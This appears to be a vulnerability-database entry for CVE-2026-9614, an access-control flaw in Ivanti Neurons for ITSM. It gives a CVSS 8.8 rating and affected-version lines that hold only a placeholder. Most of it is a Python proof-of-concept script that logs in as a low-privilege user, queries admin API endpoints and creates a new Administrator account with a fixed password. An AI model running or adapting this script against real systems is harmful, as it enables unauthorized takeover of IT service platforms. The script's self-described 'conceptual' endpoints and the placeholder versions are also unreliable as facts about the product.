An Improper Access Control vulnerability in Ivanti Neurons for ITSM (cloud and on-premises) allows a remote authenticated attacker to gain administrative access.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Ivanti Neurons for ITSM (云端版) < 已修复版本
Ivanti Neurons for ITSM (本地部署版) < 已修复版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9614 PoC - Ivanti Neurons for ITSM Privilege Escalation
# Author: Security Researcher
# Note: This is a conceptual PoC for educational purposes only
import requests
import json
TARGET_URL = "https://target-ivanti-instance.com"
USERNAME = "low_privilege_user"
PASSWORD = "user_password"
def exploit_cve_2026_9614():
"""
Exploit improper access control in Ivanti Neurons for ITSM
Allows authenticated low-privilege user to gain admin access
"""
session = requests.Session()
# Step 1: Authenticate with low-privilege account
login_url = f"{TARGET_URL}/api/v1/auth/login"
login_data = {
"username": USERNAME,
"password": PASSWORD
}
response = session.post(login_url, json=login_data, verify=False)
if response.status_code != 200:
print("[-] Authentication failed")
return False
token = response.json().get('token')
print(f"[+] Authenticated successfully with token: {token[:20]}...")
# Step 2: Exploit improper access control to access admin endpoints
admin_endpoints = [
"/api/v1/admin/users",
"/api/v1/admin/roles",
"/api/v1/admin/configurations",
"/api/v1/admin/system"
]
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
for endpoint in admin_endpoints:
url = f"{TARGET_URL}{endpoint}"
response = session.get(url, headers=headers, verify=False)
if response.status_code == 200:
print(f"[+] Successfully accessed admin endpoint: {endpoint}")
print(f"[+] Response preview: {response.text[:200]}...")
elif response.status_code == 403:
print(f"[-] Access denied to: {endpoint}")
else:
print(f"[*] Unexpected response from {endpoint}: {response.status_code}")
# Step 3: Create admin user (privilege escalation)
create_admin_url = f"{TARGET_URL}/api/v1/admin/users/create"
admin_user_data = {
"username": "new_admin",
"password": "P@ssw0rd123!",
"role": "Administrator",
"email": "[email protected]"
}
response = session.post(create_admin_url, json=admin_user_data,
headers=headers, verify=False)
if response.status_code in [200, 201]:
print("[+] SUCCESS: Admin user created - Privilege escalation achieved")
return True
else:
print(f"[-] Failed to create admin user: {response.status_code}")
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2026-9614 PoC - Ivanti Neurons for ITSM")
print("Improper Access Control leading to Privilege Escalation")
print("=" * 60)
exploit_cve_2026_9614()